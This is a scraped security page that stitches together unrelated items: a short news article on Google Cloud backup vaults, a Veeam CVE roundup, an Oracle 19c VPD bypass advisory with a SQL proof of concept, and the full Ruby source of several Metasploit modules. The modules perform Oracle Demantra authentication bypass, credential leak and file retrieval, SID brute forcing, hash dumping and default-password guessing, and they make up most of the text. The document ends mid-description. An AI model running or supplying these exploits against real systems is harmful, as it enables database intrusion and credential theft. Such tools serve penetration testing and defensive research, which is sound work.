The combination of immutability, indelibility, centralized governance, and user empowerment provides a comprehensive backup strategy, Google said.

Source: Aleksei Gorodenkov via Alamy Stock Photo

Google has announced three enhancements to its Google Cloud Backup and Disaster recovery service to enhance customers' ability to manage backups simply and securely, while boosting agility and reducing the workload on IT teams.

Backup and disaster recovery technologies are key components of ransomware defense. The first enhancement allows users to create backup vault storage systems that cannot be modified or accidentally deleted. Backup vault data is stored in Google-managed projects and "logically air-gapped" from Google Cloud projects, the company stated in a blog post. Compute Engine virtual machines (VMs), VMware Engine VMs, Oracle databases, and SQL Server databases are supported.

Backup vault storage isn’t visible to users inside the organization, preventing direct attacks, and Google manages access through its Google Cloud Backup and DR service application programming interfaces (APIs) and user interface (UI). Users can set vault backup rules on modification and deletion when creating vaults. The backups are fully self-contained, giving users the opportunity for recovery when a source resource is no longer available, helping teams keep production applications online.

Google is also making updates to its centralized backup management system. Its new fully managed service is an integrated, developer-centric, self-service model that allows app developers to back up their VMs while the teams managing storage and backup systems retain governance and oversight. Monitoring and reporting capabilities include scheduled backup jobs and restore jobs, customizable reporting, and alerts and notifications. 

The system, integrated with Google Cloud Identity and Access Management (IAM), lets developers create backups during the creation of Compute Engine VMs so that users have correct data protection policies deployed from the outset of project creation. 

Both products are currently available in preview, Google said. The backup vault feature will be generally available in the coming months. During preview, users will be able to access these features through the UI and Google Cloud CLI to protect Compute Engine VMs. Once it is generally available, users will have access to APIs and Terraform.

**About the Author**

Jennifer Lawinski is a writer and editor with more than 20 years experience in media, covering a wide range of topics including business, news, culture, science, technology and cybersecurity. After earning a Master's degree in Journalism from Boston University, she started her career as a beat reporter for The Daily News of Newburyport. She has since written for a variety of publications including CNN, Fox News, Tech Target, CRN, CIO Insight, MSN News and Live Science. She lives in Brooklyn with her partner and two cats.

Google Updates Cloud Backup, Disaster Recovery Service

By having specific DDL permissions set in Oracle 19c, you can bypass access restrictions normally in place for VPD (virtual private database).

Title: Breaking Oracle Database  VPD (Virtual Private Database) Through DDL Permissions in 19c  
Product:                   Database  
Manufacturer:              Oracle  
Affected Version(s):       19c  
Tested Version(s):         19c  
Risk Level:                Low  
Author of Advisory:        Emad Al-Mousa

*****************************************  
Vulnerability Details:

By design VPD security feature protects against any database account that is not granted  EXEMPT ACCESS POLICY from viewing the complete database rows within the table in addition of course to DBA role which I am going to tackle at the end.

However, this security feature will not protect against accounts with DDL permissions especially an account granted the following permissions: create any procedure, execute any procedure, select any table

For VPD simulation you can follow steps in this link: https://geodatamaster.com/2024/09/04/oracle-vpd-virtual-private-database-row-level-security-in-19c-and-23ai/

*****************************************  
Proof of Concept (PoC):

sqlplus / as sysdba

SQL> alter session set container=PDB1

SQL> CREATE USER owoods IDENTIFIED BY owoods

DEFAULT TABLESPACE users TEMPORARY TABLESPACE temp;

SQL> GRANT connect, resource, create any procedure, execute any procedure, select any table

to owoods;

SQL>  GRANT READ ON sh1.customers  TO owoods;

SQL> exit;

sqlplus owoods/owoods@PDB1

SQL> grant read on sh1.orders_tab to public;

SQL>CREATE OR REPLACE PROCEDURE MDSYS.fetch_data  AS

vsql VARCHAR2(4000);

BEGIN

vsql := 'create table MDSYS.orders_tab_copy2 as select * from sh1.orders_tab ';

EXECUTE IMMEDIATE vsql;

END;

/

SQL> exec MDSYS.fetch_data;

SQL>  select * from MDSYS.orders_tab_copy2;

   CUST_NO   ORDER_NO

———- ———-

      1234       9876

     5678       5432

All rows were successfully extracted from the table (the ones by default owoods account have no access to).

Another important thing to consider is “DBA” role behaviour….EXEMPT ACCESS POLICY system privilege is not part of DBA role so be careful because DBA role implicitly has GRANT ANY PRIVILEGE system privilege which enables the DBA account to gran it any way.

*****************************************  
References:  
https://docs.oracle.com/en/database/oracle/oracle-database/19/dbseg/using-oracle-vpd-to-control-data-access.html#GUID-7FFB40CB-E421-4FE4-8344-29D91360EFAD  
https://geodatamaster.com/2024/09/04/oracle-vpd-virtual-private-database-row-level-security-in-19c-and-23ai/  
https://databasesecurityninja.wordpress.com/2024/09/07/breaking-oracle-database-vpd-virtual-private-database-through-ddl-permissions-in-19c/  
https://databasesecurityninja.wordpress.com/2024/09/04/oracle-database-exempt-access-policy-not-logged-for-sys-account-in-unified-audit-log-ora_secureconfig/

Breaking Oracle Database VPD Through DDL Permissions In 19c

Veeam has shipped security updates to address a total of 18 security flaws impacting its software products, including five critical vulnerabilities that could result in remote code execution.
The list of shortcomings is below -

CVE-2024-40711 (CVSS score: 9.8) - A vulnerability in Veeam Backup & Replication that allows unauthenticated remote code execution.


CVE-2024-42024 (CVSS score: 9.1

Threat Prevention / Software Security

Veeam has shipped security updates to address a total of 18 security flaws impacting its software products, including five critical vulnerabilities that could result in remote code execution.

The list of shortcomings is below -

*   **CVE-2024-40711 (CVSS score: 9.8)** - A vulnerability in Veeam Backup & Replication that allows unauthenticated remote code execution.

*   **CVE-2024-42024 (CVSS score: 9.1)** - A vulnerability in Veeam ONE that enables an attacker in possession of the Agent service account credentials to perform remote code execution on the underlying machine

*   **CVE-2024-42019 (CVSS score: 9.0)** - A vulnerability in Veeam ONE that allows an attacker to access the NTLM hash of the Veeam Reporter Service service account

*   **CVE-2024-38650 (CVSS score: 9.9)** - A vulnerability in Veeam Service Provider Console (VPSC) that allows a low privileged attacker to access the NTLM hash of the service account on the server

*   **CVE-2024-39714 (CVSS score: 9.9)** - A vulnerability in VPSC that permits a low-privileged user to upload arbitrary files to the server, resulting in remote code execution on the server

In addition, the September 2024 updates address 13 other high-severity flaws that could permit privilege escalation, multi-factor authentication (MFA) bypass, and execute code with elevated permissions.

All the issues have been addressed in the below versions -

*   Veeam Backup & Replication 12.2 (build 12.2.0.334)
*   Veeam Agent for Linux 6.2 (build 6.2.0.101)
*   Veeam ONE v12.2 (build 12.2.0.4093)
*   Veeam Service Provider Console v8.1 (build 8.1.0.21377)
*   Veeam Backup for Nutanix AHV Plug-In v12.6.0.632
*   Veeam Backup for Oracle Linux Virtualization Manager and Red Hat Virtualization Plug-In v12.5.0.299

With flaws in Veeam software Users becoming a lucrative target for threat actors to serve ransomware, users are advised to update to the latest version as soon as possible to mitigate potential threats.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Veeam Releases Security Updates to Fix 18 Flaws, Including 5 Critical Issues

This Metasploit module exploits a database credentials leak found in Oracle Demantra 12.2.1 in combination with an authentication bypass. This way an unauthenticated user can retrieve the database name, username and password on any vulnerable machine.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary  include Msf::Auxiliary::Scanner  include Msf::Auxiliary::Report  include Msf::Exploit::Remote::HttpClient  def initialize(info = {})    super(update_info(info,      'Name'           => 'Oracle Demantra Database Credentials Leak',      'Description'    => %q{        This module exploits a database credentials leak found in Oracle Demantra 12.2.1 in        combination with an authentication bypass. This way an unauthenticated user can retrieve        the database name, username and password on any vulnerable machine.      },      'References'     =>        [          [ 'CVE', '2013-5795'],          [ 'CVE', '2013-5880'],          [ 'URL', 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2013-5795/'],          [ 'URL', 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2013-5880/' ]        ],      'Author'         =>        [          'Oliver Gruskovnjak'        ],      'License'        => MSF_LICENSE,      'DisclosureDate' => '2014-02-28'    ))    register_options(      [        Opt::RPORT(8080),        OptBool.new('SSL',   [false, 'Use SSL', false])      ])  end  def run_host(ip)    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri('demantra', 'common', 'loginCheck.jsp', '..', '..', 'ServerDetailsServlet'),      'vars_get' => {        'UAK' => '406EDC5447A3A43551CDBA06535FB6A661F4DC1E56606915AC4E382D204B8DC1'      }    })    if res.nil? or res.body.empty?      vprint_error("No content retrieved")      return    end    if res.code == 404      vprint_error("File not found")      return    end    if res.code == 200      creds = ""      vprint_status("String received: #{res.body.to_s}") unless res.body.blank?      res.body.to_s.split(",").each do|c|        i = c.to_i ^ 0x50        creds += i.chr      end      print_good("Credentials decoded: #{creds}") unless creds.empty?    end  endend

Oracle Demantra Database Credentials Leak

This Metasploit module exploits a file download vulnerability found in Oracle Demantra 12.2.1 in combination with an authentication bypass. By combining these exposures, an unauthenticated user can retrieve any file on the system by referencing the full file path to any file a vulnerable machine.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary  include Msf::Auxiliary::Scanner  include Msf::Auxiliary::Report  include Msf::Exploit::Remote::HttpClient  def initialize(info = {})    super(update_info(info,      'Name'           => 'Oracle Demantra Arbitrary File Retrieval with Authentication Bypass',      'Description'    => %q{        This module exploits a file download vulnerability found in Oracle        Demantra 12.2.1 in combination with an authentication bypass. By        combining these exposures, an unauthenticated user can retrieve any file        on the system by referencing the full file path to any file a vulnerable        machine.      },      'References'     =>        [          [ 'CVE', '2013-5877'],          [ 'CVE', '2013-5880'],          [ 'URL', 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2013-5877/'],          [ 'URL', 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2013-5880/']        ],      'Author'         =>        [          'Oliver Gruskovnjak'        ],      'License'        => MSF_LICENSE,      'DisclosureDate' => '2014-02-28'    ))    register_options(      [        Opt::RPORT(8080),        OptBool.new('SSL',   [false, 'Use SSL', false]),        OptString.new('FILEPATH', [true, 'The name of the file to download', 'c:/windows/win.ini'])      ])  end  def run_host(ip)    filename = datastore['FILEPATH']    authbypass = "/demantra/common/loginCheck.jsp/../../GraphServlet"    res = send_request_cgi({      'uri' => normalize_uri(authbypass),      'method' => 'POST',      'encode_params' => false,      'vars_post' => {        'filename' => "#{filename}%00"      }    })    if res.nil? or res.body.empty?      fail_with(Failure::UnexpectedReply, "No content retrieved from: #{ip}")    end    if res.code == 404      print_error("#{rhost}:#{rport} - File not found")      return    end    if res.code == 200      print_status("#{ip}:#{rport} returns: #{res.code.to_s}")      fname = File.basename(datastore['FILEPATH'])      path = store_loot(        'oracle.demantra',        'application/octet-stream',        ip,        res.body,        fname)      print_good("#{ip}:#{rport} - File saved in: #{path}")    end  endend

Oracle Demantra Arbitrary File Retrieval With Authentication Bypass

This Metasploit module attempts to retrieve the sid from the Oracle XML DB httpd server, utilizing Pete Finnigans default oracle password list.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary  include Msf::Auxiliary::Report  include Msf::Exploit::Remote::HttpClient  include Msf::Auxiliary::Scanner  def initialize    super(      'Name'        => 'Oracle XML DB SID Discovery via Brute Force',      'Description' => %q{          This module attempts to retrieve the sid from the Oracle XML DB httpd server,          utilizing Pete Finnigan's default oracle password list.      },      'References'  =>        [          [ 'URL', 'http://dsecrg.com/files/pub/pdf/Different_ways_to_guess_Oracle_database_SID_(eng).pdf' ],          [ 'URL', 'http://www.petefinnigan.com/default/oracle_default_passwords.csv'],        ],      'Author'      => [ 'nebulus' ],      'License'     => MSF_LICENSE    )    register_options(        [          OptString.new('CSVFILE', [ false, 'The file that contains a list of default accounts.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'oracle_default_passwords.csv')]),          Opt::RPORT(8080),        ])  end  def run_host(ip)    begin    res = send_request_raw({      'uri'     => '/oradb/PUBLIC/GLOBAL_NAME',      'version' => '1.0',      'method'  => 'GET'    }, 5)    return if not res    if(res.code == 200)      vprint_status("http://#{ip}:#{datastore['RPORT']}/oradb/PUBLIC/GLOBAL_NAME (#{res.code}) is not password protected.")      return    elsif(res.code == 403 || res.code == 401)      print_status("http://#{ip}:#{datastore['RPORT']}/oradb/PUBLIC/GLOBAL_NAME (#{res.code})")    end    list = datastore['CSVFILE']    users = []    fd = CSV.foreach(list) do |brute|      dbuser = brute[2].downcase      dbpass = brute[3].downcase      user_pass = "#{dbuser}:#{dbpass}"      res = send_request_raw({        'uri'     => '/oradb/PUBLIC/GLOBAL_NAME',        'version' => '1.0',        'method'  => 'GET',        'headers' =>        {          'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"        }      }, 10)      if( not res )        vprint_error("Unable to retrieve SID for #{ip}:#{datastore['RPORT']} with #{dbuser} / #{dbpass}...")        next      end      if (res.code == 200)        if (not res.body.length > 0)        # sometimes weird bug where body doesn't have value yet          res.body = res.bufq        end        sid = res.body.scan(/<GLOBAL_NAME>(\S+)<\/GLOBAL_NAME>/)[0]        report_note(          :host => ip,          :proto  => 'tcp',          :port => datastore['RPORT'],          :type => 'SERVICE_NAME',          :data => sid,          :update => :unique_data        )        print_good("Discovered SID: '#{sid[0]}' for host #{ip}:#{datastore['RPORT']} with #{dbuser} / #{dbpass}")        users.push(user_pass)      else        vprint_error("Unable to retrieve SID for #{ip}:#{datastore['RPORT']} with #{dbuser} / #{dbpass}...")      end    end #fd.each    good = false    users.each do |user_pass|      (u,p) = user_pass.split(':')      # get versions      res = send_request_raw({        'uri'     => '/oradb/PUBLIC/PRODUCT_COMPONENT_VERSION',        'version' => '1.1',        'method'  => 'GET',        'headers' =>        {          'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"        }      }, -1)      if(res)        if(res.code == 200)          if (not res.body.length > 0)          # sometimes weird bug where body doesn't have value yet            res.body = res.bufq          end          doc = REXML::Document.new(res.body)          print_good("Version Information ==> as #{u}")          doc.elements.each('PRODUCT_COMPONENT_VERSION/ROW') do |e|            p = e.elements['PRODUCT'].get_text            v = e.elements['VERSION'].get_text            s = e.elements['STATUS'].get_text            report_note(              :host => datastore['RHOST'],              :sname => 'xdb',              :proto => 'tcp',              :port => datastore['RPORT'],              :type => 'ORA_ENUM',              :data => "Component Version: #{p}#{v}",              :update => :unique_data            )            print_good("\t#{p}\t\t#{v}\t(#{s})")          end        end      end      # More version information      res = send_request_raw({        'uri'     => '/oradb/PUBLIC/ALL_REGISTRY_BANNERS',        'version' => '1.1',        'method'  => 'GET',        'headers' =>        {          'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"        }      }, -1)      if(res)        if(res.code == 200)          if (not res.body.length > 0)          # sometimes weird bug where body doesn't have value yet            res.body = res.bufq          end          doc = REXML::Document.new(res.body)          doc.elements.each('ALL_REGISTRY_BANNERS/ROW') do |e|            next if e.elements['BANNER'] == nil            b = e.elements['BANNER'].get_text            report_note(              :host => datastore['RHOST'],              :proto => 'tcp',              :sname => 'xdb',              :port => datastore['RPORT'],              :type => 'ORA_ENUM',              :data => "Component Version: #{b}",              :update => :unique_data            )            print_good("\t#{b}")          end        end      end      # database links      res = send_request_raw({        'uri'     => '/oradb/PUBLIC/ALL_DB_LINKS',        'version' => '1.1',        'method'  => 'GET',        'headers' =>        {          'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"        }      }, -1)      if(res)        if(res.code == 200)          if (not res.body.length > 0)          # sometimes weird bug where body doesn't have value yet            res.body = res.bufq          end          doc = REXML::Document.new(res.body)          print_good("Database Link Information ==> as #{u}")          doc.elements.each('ALL_DB_LINKS/ROW') do |e|            next if(e.elements['HOST'] == nil or e.elements['USERNAME'] == nil or e.elements['DB_LINK'] == nil)            h = e.elements['HOST'].get_text            d = e.elements['DB_LINK'].get_text            us = e.elements['USERNAME'].get_text            sid = h.to_s.scan(/$SID\s\=\s(\S+)$\)\)/)[0]            if(h.to_s.match(/^$DESCRIPTION/) )              h = h.to_s.scan(/\(HOST\s\=\s(\S+)$\(/)[0]            end            if(sid and sid != "")              print_good("\tLink: #{d}\t#{us}\@#{h[0]}/#{sid[0]}")              report_note(                :host => h[0],                :proto => 'tcp',                :port => datastore['RPORT'],                :sname => 'xdb',                :type => 'oracle_sid',                :data => sid,                :update => :unique_data              )            else              print_good("\tLink: #{d}\t#{us}\@#{h}")            end          end        end      end      # get users      res = send_request_raw({        'uri'     => '/oradb/PUBLIC/DBA_USERS',        'version' => '1.1',        'method'  => 'GET',        'read_max_data' => (1024*1024*10),        'headers' =>        {          'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"        }      }, -1)      if res and res.code == 200        if (not res.body.length > 0)        # sometimes weird bug where body doesn't have value yet          res.body = res.bufq        end        doc = REXML::Document.new(res.body)        print_good("Username/Hashes on #{ip}:#{datastore['RPORT']} ==> as #{u}")        doc.elements.each('DBA_USERS/ROW') do |user|          us = user.elements['USERNAME'].get_text          h = user.elements['PASSWORD'].get_text          as = user.elements['ACCOUNT_STATUS'].get_text          print_good("\t#{us}:#{h}:#{as}")          good = true          if(as.to_s == "OPEN")            report_note(              :host => datastore['RHOST'],              :proto => 'tcp',              :sname => 'xdb',              :port => datastore['RPORT'],              :type => 'ORA_ENUM',              :data => "Active Account #{u}:#{h}:#{as}",              :update => :unique_data            )          else            report_note(              :host => datastore['RHOST'],              :proto => 'tcp',              :sname => 'xdb',              :port => datastore['RPORT'],              :type => 'ORA_ENUM',              :data => "Disabled Account #{u}:#{h}:#{as}",              :update => :unique_data            )          end        end      end      # get password information      res = send_request_raw({        'uri'     => '/oradb/PUBLIC/USER_PASSWORD_LIMITS',        'version' => '1.1',        'method'  => 'GET',        'read_max_data' => (1024*1024*10),        'headers' =>        {          'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"        }      }, -1)      if res and res.code == 200        if (not res.body.length > 0)        # sometimes weird bug where body doesn't have value yet          res.body = res.bufq        end        doc = REXML::Document.new(res.body)        print_good("Password Policy ==> as #{u}")        fla=plit=pgt=prt=prm=plot=''        doc.elements.each('USER_PASSWORD_LIMITS/ROW') do |e|          next if e.elements['RESOURCE_NAME'] == nil          case            when(e.elements['RESOURCE_NAME'].get_text == 'FAILED_LOGIN_ATTEMPTS')              fla = e.elements['LIMIT'].get_text            when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_LIFE_TIME')              plit = e.elements['LIMIT'].get_text            when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_REUSE_TIME')              prt = e.elements['LIMIT'].get_text            when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_REUSE_MAX')              prm = e.elements['LIMIT'].get_text            when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_LOCK_TIME')              plot = e.elements['LIMIT'].get_text            when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_GRACE_TIME')              pgt = e.elements['LIMIT'].get_text          end        end        print_good(          "\tFailed Login Attempts: #{fla}\n\t" +          "Password Life Time: #{plit}\n\t" +          "Password Reuse Time: #{prt}\n\t" +          "Password Reuse Max: #{prm}\n\t" +          "Password Lock Time: #{plot}\n\t" +          "Password Grace Time: #{pgt}"        )        report_note(          :host => datastore['RHOST'],          :proto => 'tcp',          :sname => 'xdb',          :port => datastore['RPORT'],          :type => 'ORA_ENUM',          :data => "Password Maximum Reuse Time: #{prm}",          :update => :unique_data        )        report_note(          :host => datastore['RHOST'],          :proto => 'tcp',          :sname => 'xdb',          :port => datastore['RPORT'],          :type => 'ORA_ENUM',          :data => "Password Reuse Time: #{prt}",          :update => :unique_data        )        report_note(          :host => datastore['RHOST'],          :proto => 'tcp',          :sname => 'xdb',          :port => datastore['RPORT'],          :type => 'ORA_ENUM',          :data => "Password Life Time: #{plit}",          :update => :unique_data        )        report_note(          :host => datastore['RHOST'],          :proto => 'tcp',          :sname => 'xdb',          :port => datastore['RPORT'],          :type => 'ORA_ENUM',          :data => "Account Fail Logins Permitted: #{fla}",          :update => :unique_data        )        report_note(          :host => datastore['RHOST'],          :proto => 'tcp',          :sname => 'xdb',          :port => datastore['RPORT'],          :type => 'ORA_ENUM',          :data => "Account Lockout Time: #{plot}",          :update => :unique_data        )        report_note(          :host => datastore['RHOST'],          :proto => 'tcp',          :sname => 'xdb',          :port => datastore['RPORT'],          :type => 'ORA_ENUM',          :data => "Account Password Grace Time: #{pgt}",          :update => :unique_data        )      end      break if good    end # users.each    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout    rescue ::Timeout::Error, ::Errno::EPIPE    end  endend

Oracle XML DB SID Discovery Via Brute Force

This Metasploit module attempts to bruteforce the SID on the Oracle application server iSQL*Plus login pages. It does this by testing Oracle error responses returned in the HTTP response. Incorrect username/pass with a correct SID will produce an Oracle ORA-01017 error. Works against Oracle 9.2, 10.1 and 10.2 iSQL*Plus. This Metasploit module will attempt to fingerprint the version and automatically select the correct POST request.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary  include Msf::Exploit::Remote::HttpClient  include Msf::Auxiliary::Scanner  include Msf::Auxiliary::AuthBrute  include Msf::Auxiliary::Report  def initialize    super(      'Name'        => 'Oracle iSQLPlus SID Check',      'Description' => %q{        This module attempts to bruteforce the SID on the Oracle application server iSQL*Plus        login pages.  It does this by testing Oracle error responses returned in the HTTP response.        Incorrect username/pass with a correct SID will produce an Oracle ORA-01017 error.        Works against Oracle 9.2, 10.1 & 10.2 iSQL*Plus.  This module will attempt to        fingerprint the version and automatically select the correct POST request.      },      'References'  =>      [        [ 'URL', 'https://blog.carnal0wnage.com/' ],      ],      'Author'      => [ 'CG', 'todb' ],      'License'     => MSF_LICENSE      )      register_options([        Opt::RPORT(5560),        OptString.new('URI', [ true, 'Oracle iSQLPlus path', '/isqlplus/']),        OptString.new('SID', [ false, 'A single SID to test']),        OptPath.new('SIDFILE', [ false, 'A file containing a list of SIDs', File.join(Msf::Config.install_root, 'data', 'wordlists', 'sid.txt')]),        OptInt.new('TIMEOUT', [false, 'Time to wait for HTTP responses', 30])      ])      deregister_options(        "RHOST", "USERNAME", "PASSWORD", "USER_FILE", "PASS_FILE", "USERPASS_FILE",        "BLANK_PASSWORDS", "USER_AS_PASS", "REMOVE_USER_FILE", "REMOVE_PASS_FILE",        "BRUTEFORCE_SPEED" # Slow as heck anyway      )  end  def sid_file    datastore['SIDFILE']  end  def hostport    [target_host,rport].join(":")  end  def uri    datastore['URI'] || "/isqlplus/"  end  def timeout    (datastore['TIMEOUT'] || 30).to_i  end  def msg    msg = "#{hostport} - Oracle iSQL*Plus -"  end  def run_host(ip)    oracle_ver = get_oracle_version(ip)    if not check_oracle_version(oracle_ver)      print_error "#{msg} Unknown Oracle version, skipping."      return    end    begin      print_status("#{msg} Starting SID check")      sid_data.each do |sid|        guess = check_oracle_sid(ip,oracle_ver,sid)        return if guess and datastore['STOP_ON_SUCCESS']      end      rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e        print_error "#{msg} Cannot connect"      rescue ::Timeout::Error, ::Errno::EPIPE,Errno::ECONNRESET => e        print_error e.message    end  end  def get_oracle_version(ip)    begin      res = send_request_cgi({        'version' => '1.1',        'uri'     => uri,        'method'  => 'GET',      }, timeout)      oracle_ver = nil      if (res.nil?)        print_error("#{msg} no response")      elsif (res.code == 200)        print_status("#{msg} Received an HTTP #{res.code}")        oracle_ver = detect_oracle_version(res)      elsif (res.code == 404)        print_error("#{msg} Received an HTTP 404, check URIPATH")      elsif (res.code == 302)        print_error("#{msg} Received an HTTP 302 to #{res.headers['Location']}")      else        print_error("#{msg} Received an HTTP #{res.code}")      end      return oracle_ver    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e      print_error "#{msg} Cannot connect"    end  end  def detect_oracle_version(res)    m = res.body.match(/iSQL\*Plus Release (9\.0|9\.1|9\.2|10\.1|10\.2)/)    oracle_ver = nil    oracle_ver = 10 if m[1] && m[1] =~ /10/      oracle_ver = m[1].to_f if m[1] && m[1] =~ /9\.[012]/      if oracle_ver        print_status("#{msg} Detected Oracle version #{oracle_ver}")        print_status("#{msg} SID detection for iSQL*Plus 10.1 may be unreliable") if oracle_ver == 10.1      else        print_error("#{msg} Unknown Oracle version detected.")      end    return oracle_ver  end  def check_oracle_version(ver)    [9.0,9.1,9.2,10].include? ver  end  def build_post_request(ver,sid)    post_request = nil    case ver    when 9.0      post_request = "action=logon&sqlcmd=&sqlparms=&username=scott&password=tiger&sid=#{sid.strip}&privilege=&Log+In=%B5%C7%C2%BC"    when 9.1      post_request = "action=logon&username=a&password=a&sid=#{sid.strip}&login=Login"    when 9.2      post_request = "action=logon&username=a&password=a&sid=#{sid.strip}&login=Login"    when 10      post_request = "username=a&password=a&connectID=#{sid.strip}&report=&script=&dynamic=&type=&action=&variables=&event=login"    end    return post_request  end  def parse_isqlplus_response(res,sid)    guess = false    if (res.nil?)      print_error("#{msg} No response")    elsif (res.code == 200)      if (res.body =~ /ORA-01017:/ or res.body =~ /ORA-28273:/)        if sid.nil? || sid.empty?          print_good("#{msg} Received ORA-01017 on a blank SID -- SIDs are not enforced upon login.")        else          print_good("#{msg} Received ORA-01017, probable correct SID '#{sid.strip}'")        end        guess = true      elsif (res.body =~ /(ORA-12170):/ or res.body =~ /(ORA-12154):/ or res.body =~ /(ORA-12162):/)        vprint_status("#{msg} Incorrect SID: '#{sid.strip}' (got error code #{$1})")      elsif res.body =~ /(ORA-12541):/        print_status("#{msg} Possible correct SID, but got ORA-12541: No Listener error.")        guess = true      else        print_status("#{msg} Received an unknown error") # Should say what the error was      end    elsif (res.code == 404)      print_status("#{msg} Received an HTTP 404, check URIPATH")    elsif (res.code == 302)      print_status("#{msg} Received an HTTP 302 redirect to #{res.headers['Location']}")    else      print_status("#{msg} Received an unexpected response: #{res.code}")    end    report_isqlplus_service(target_host,res) if res    return guess  end  def report_isqlplus_service(ip,res)    sname = datastore['SSL'] ? 'https' : 'http'    report_service(      :host => ip,      :proto => 'tcp',      :port => rport,      :name => sname,      :info => res.headers["Server"].to_s.strip    )  end  def report_oracle_sid(ip,sid)    report_note(      :host => ip,      :proto => 'tcp',      :port => rport,      :type => "oracle.sid",      :data => ((sid.nil? || sid.empty?) ? "*BLANK*" : sid),      :update => :unique_data    )  end  def sid_data    if datastore['SID'] and not datastore['SID'].empty?      [datastore['SID']]    elsif sid_file and ::File.readable? sid_file      ::File.open(sid_file,"rb") {|f| f.read f.stat.size}.each_line.map {|x| x.strip.upcase}.uniq    else      raise ArugmentError, "Cannot read file '#{sid_file}'"    end  end  def check_oracle_sid(ip,oracle_ver,sid)    post_request = build_post_request(oracle_ver,sid)    vprint_status "#{msg} Trying SID '#{sid}', waiting for response..."    res = send_request_cgi({      'version' => '1.1',      'uri'     => uri,      'method'  => 'POST',      'data'   => post_request,      'headers' =>      {        'Referer' => "http://#{ip}:#{rport}#{uri}"      }    }, timeout)    guess = parse_isqlplus_response(res,sid)    report_oracle_sid(ip,sid) if guess    return guess  endend

Oracle ISQLPlus SID Check

This Metasploit module uses a list of well known default authentication credentials to discover easily guessed accounts.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'csv'class MetasploitModule < Msf::Auxiliary  include Msf::Auxiliary::Report  include Msf::Exploit::ORACLE  def initialize(info = {})    super(update_info(info,      'Name'           => 'Oracle Account Discovery',      'Description'    => %q{        This module uses a list of well known default authentication credentials        to discover easily guessed accounts.      },      'Author'         => [ 'MC' ],      'License'        => MSF_LICENSE,      'References'     =>        [          [ 'URL', 'http://www.petefinnigan.com/default/oracle_default_passwords.csv' ],          [ 'URL', 'https://seclists.org/fulldisclosure/2009/Oct/261' ],        ],      'DisclosureDate' => '2008-11-20'))      register_options(        [          OptPath.new('CSVFILE', [ false, 'The file that contains a list of default accounts.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'oracle_default_passwords.csv')]),        ])      deregister_options('DBUSER','DBPASS')  end  def report_cred(opts)    service_data = {      address: opts[:ip],      port: opts[:port],      service_name: opts[:service_name],      protocol: 'tcp',      workspace_id: myworkspace_id    }    credential_data = {      origin_type: :service,      module_fullname: fullname,      username: opts[:user],      private_data: opts[:password],      private_type: :password    }.merge(service_data)    login_data = {      last_attempted_at: Time.now,      core: create_credential(credential_data),      status: Metasploit::Model::Login::Status::SUCCESSFUL    }.merge(service_data)    create_credential_login(login_data)  end  def run    return if not check_dependencies    list = datastore['CSVFILE']    print_status("Starting brute force on #{datastore['RHOST']}:#{datastore['RPORT']}...")    fd = CSV.foreach(list) do |brute|      datastore['DBUSER'] = brute[2].downcase      datastore['DBPASS'] = brute[3].downcase      begin        connect        disconnect      rescue ::OCIError => e        if e.to_s =~ /^ORA-12170:\s/          print_error("#{datastore['RHOST']}:#{datastore['RPORT']} Connection timed out")          break        else          vprint_error("#{datastore['RHOST']}:#{datastore['RPORT']} - LOGIN FAILED: #{datastore['DBUSER']}: #{e.to_s})")        end      else        report_cred(          ip: datastore['RHOST'],          port: datastore['RPORT'],          service_name: 'oracle',          user: "#{datastore['SID']}/#{datastore['DBUSER']}",          password: datastore['DBPASS']        )        print_good("Found user/pass of: #{datastore['DBUSER']}/#{datastore['DBPASS']} on #{datastore['RHOST']} with sid #{datastore['SID']}")      end    end  endend

Oracle Account Discovery

This Metasploit module simply queries the TNS listener for the Oracle SID. With Oracle 9.2.0.8 and above the listener will be protected and the SID will have to be bruteforced or guessed.

